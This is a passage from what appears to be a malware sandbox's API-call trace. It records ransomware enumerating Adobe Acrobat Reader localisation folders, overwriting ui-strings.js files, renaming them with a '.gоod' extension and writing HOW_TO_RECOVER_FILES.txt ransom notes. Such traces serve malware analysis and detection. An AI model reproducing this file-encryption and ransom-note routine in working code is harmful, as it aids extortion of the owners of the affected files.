DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0156.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0156.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x59afc39b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40af)) returned 1 [0156.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0156.815] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0156.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0156.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0156.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0156.817] GetFileType (hFile=0x7fc) returned 0x1 [0156.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0156.817] GetFileType (hFile=0x7fc) returned 0x1 [0156.817] WriteFile (in: hFile=0x7fc, lpBuffer=0x3462ec8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3462ec8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0156.818] CloseHandle (hObject=0x7fc) returned 1 [0156.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0156.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x69 [0156.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.819] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.819] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0156.820] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.820] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0156.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0156.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0156.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x69 [0156.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.820] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.820] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0156.820] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0156.821] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0156.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0156.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0156.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34762f0 | out: lpFileInformation=0x34762f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da)) returned 1 [0156.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0156.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.821] GetFileType (hFile=0x7fc) returned 0x1 [0156.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.822] GetFileType (hFile=0x7fc) returned 0x1 [0156.822] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0156.822] ReadFile (in: hFile=0x7fc, lpBuffer=0x34767c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34767c8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0156.825] CloseHandle (hObject=0x7fc) returned 1 [0156.825] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.825] GetFileType (hFile=0x7fc) returned 0x1 [0156.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.825] GetFileType (hFile=0x7fc) returned 0x1 [0156.825] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x38da [0156.825] WriteFile (in: hFile=0x7fc, lpBuffer=0x3485f68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3485f68*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0156.826] CloseHandle (hObject=0x7fc) returned 1 [0156.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.826] GetFileType (hFile=0x7fc) returned 0x1 [0156.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.827] GetFileType (hFile=0x7fc) returned 0x1 [0156.827] ReadFile (in: hFile=0x7fc, lpBuffer=0x3488288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3488288*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0157.118] CloseHandle (hObject=0x7fc) returned 1 [0157.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0157.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0157.118] GetFileType (hFile=0x7fc) returned 0x1 [0157.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0157.118] GetFileType (hFile=0x7fc) returned 0x1 [0157.118] WriteFile (in: hFile=0x7fc, lpBuffer=0x337dc68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x337dc68*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0157.118] CloseHandle (hObject=0x7fc) returned 1 [0157.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0157.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0157.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x59dd0cfc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38ea)) returned 1 [0157.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0157.119] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0157.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0157.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0157.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.120] GetFileType (hFile=0x7fc) returned 0x1 [0157.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0157.121] GetFileType (hFile=0x7fc) returned 0x1 [0157.121] WriteFile (in: hFile=0x7fc, lpBuffer=0x3553230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3553230*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0157.122] CloseHandle (hObject=0x7fc) returned 1 [0157.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0157.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x69 [0157.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0157.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.123] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0157.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0157.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0157.124] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x69 [0157.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 